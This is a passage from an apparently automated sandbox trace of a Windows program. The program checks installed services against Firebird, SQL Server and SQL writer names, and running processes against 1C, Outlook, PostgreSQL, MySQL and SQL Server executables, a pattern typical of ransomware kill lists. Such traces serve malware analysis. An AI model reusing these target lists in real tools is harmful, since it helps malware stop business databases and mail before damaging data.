dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6a5ba8, cbBufSize=0x1178, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6a5ba8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0147.633] CloseServiceHandle (hSCObject=0x69e670) returned 1 [0147.633] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0147.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0147.633] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0147.633] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0147.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0147.633] lstrlenW (lpString="AudioSrv") returned 8 [0147.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0147.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0147.633] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0147.633] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0147.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0147.633] lstrlenW (lpString="BFE") returned 3 [0147.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0147.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0147.633] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0147.633] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0147.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0147.633] lstrlenW (lpString="CryptSvc") returned 8 [0147.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0147.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0147.633] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0147.633] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0147.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0147.633] lstrlenW (lpString="CscService") returned 10 [0147.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0147.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0147.634] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0147.634] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0147.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0147.634] lstrlenW (lpString="DcomLaunch") returned 10 [0147.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0147.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0147.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0147.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0147.634] lstrlenW (lpString="Dhcp") returned 4 [0147.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0147.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0147.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0147.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0147.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0147.634] lstrlenW (lpString="Dnscache") returned 8 [0147.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0147.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0147.634] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0147.634] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0147.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0147.634] lstrlenW (lpString="DPS") returned 3 [0147.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0147.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0147.634] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0147.634] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0147.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0147.634] lstrlenW (lpString="eventlog") returned 8 [0147.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0147.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0147.635] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0147.635] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0147.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0147.635] lstrlenW (lpString="EventSystem") returned 11 [0147.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0147.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0147.635] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0147.635] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0147.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0147.635] lstrlenW (lpString="gpsvc") returned 5 [0147.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0147.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0147.635] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0147.635] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0147.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0147.635] lstrlenW (lpString="iphlpsvc") returned 8 [0147.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0147.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0147.635] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0147.635] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0147.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0147.635] lstrlenW (lpString="LanmanServer") returned 12 [0147.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0147.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0147.635] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0147.635] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0147.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0147.635] lstrlenW (lpString="LanmanWorkstation") returned 17 [0147.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.635] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0147.635] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0147.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0147.636] lstrlenW (lpString="lmhosts") returned 7 [0147.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0147.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0147.636] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0147.636] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0147.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0147.636] lstrlenW (lpString="MMCSS") returned 5 [0147.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0147.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0147.636] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0147.636] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0147.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0147.636] lstrlenW (lpString="MpsSvc") returned 6 [0147.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0147.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0147.636] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0147.636] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0147.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0147.636] lstrlenW (lpString="Netman") returned 6 [0147.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0147.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0147.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0147.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0147.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0147.636] lstrlenW (lpString="netprofm") returned 8 [0147.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0147.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0147.636] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0147.636] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0147.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0147.636] lstrlenW (lpString="NlaSvc") returned 6 [0147.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0147.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0147.637] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0147.637] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0147.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0147.637] lstrlenW (lpString="nsi") returned 3 [0147.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0147.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0147.637] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0147.637] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0147.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0147.637] lstrlenW (lpString="PcaSvc") returned 6 [0147.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0147.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0147.637] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0147.637] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0147.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0147.637] lstrlenW (lpString="PlugPlay") returned 8 [0147.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0147.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0147.637] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0147.637] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0147.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0147.637] lstrlenW (lpString="Power") returned 5 [0147.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0147.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0147.637] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0147.637] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0147.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0147.637] lstrlenW (lpString="ProfSvc") returned 7 [0147.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0147.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0147.638] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0147.638] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0147.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0147.638] lstrlenW (lpString="RpcEptMapper") returned 12 [0147.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.638] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0147.638] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0147.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0147.638] lstrlenW (lpString="RpcSs") returned 5 [0147.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0147.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0147.638] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0147.638] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0147.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0147.638] lstrlenW (lpString="SamSs") returned 5 [0147.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0147.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0147.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0147.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0147.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0147.638] lstrlenW (lpString="Schedule") returned 8 [0147.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0147.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0147.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0147.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0147.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0147.638] lstrlenW (lpString="SENS") returned 4 [0147.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0147.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0147.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0147.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0147.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0147.639] lstrlenW (lpString="ShellHWDetection") returned 16 [0147.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0147.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0147.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0147.639] lstrlenW (lpString="Spooler") returned 7 [0147.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0147.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0147.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0147.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0147.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0147.639] lstrlenW (lpString="SysMain") returned 7 [0147.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0147.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0147.639] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0147.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0147.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0147.639] lstrlenW (lpString="Themes") returned 6 [0147.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0147.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0147.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0147.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0147.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0147.639] lstrlenW (lpString="TrkWks") returned 6 [0147.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0147.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0147.639] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0147.639] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0147.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0147.639] lstrlenW (lpString="UxSms") returned 5 [0147.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0147.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0147.640] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0147.640] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0147.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0147.640] lstrlenW (lpString="WdiServiceHost") returned 14 [0147.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0147.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0147.640] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0147.640] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0147.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0147.640] lstrlenW (lpString="WdiSystemHost") returned 13 [0147.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0147.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0147.640] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0147.640] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0147.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0147.640] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0147.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0147.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0147.640] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0147.640] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0147.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0147.640] lstrlenW (lpString="Winmgmt") returned 7 [0147.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0147.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0147.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0147.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0147.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0147.640] lstrlenW (lpString="WPDBusEnum") returned 10 [0147.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0147.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0147.641] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0147.641] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0147.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0147.641] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5ba8 | out: hHeap=0x630000) returned 1 [0147.641] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0147.642] Process32FirstW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.643] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0147.643] lstrlenW (lpString="System") returned 6 [0147.643] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0147.643] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0147.643] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0147.643] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0147.643] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0147.643] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0147.643] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0147.643] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0147.644] lstrlenW (lpString="smss.exe") returned 8 [0147.644] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0147.644] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0147.644] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0147.644] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0147.644] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0147.644] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0147.644] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0147.644] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.644] lstrlenW (lpString="csrss.exe") returned 9 [0147.644] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.644] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.644] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.644] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.644] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.644] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.644] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.644] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0147.645] lstrlenW (lpString="wininit.exe") returned 11 [0147.645] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0147.645] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0147.645] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0147.645] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0147.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0147.645] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0147.645] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0147.645] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.645] lstrlenW (lpString="csrss.exe") returned 9 [0147.645] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0147.645] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0147.645] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0147.645] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0147.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0147.645] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0147.645] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0147.646] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0147.646] lstrlenW (lpString="winlogon.exe") returned 12 [0147.646] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0147.646] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0147.646] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0147.646] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0147.646] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0147.646] lstrlenW (lpString="services.exe") returned 12 [0147.646] Process32NextW (in: hSnapshot=0x190, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, 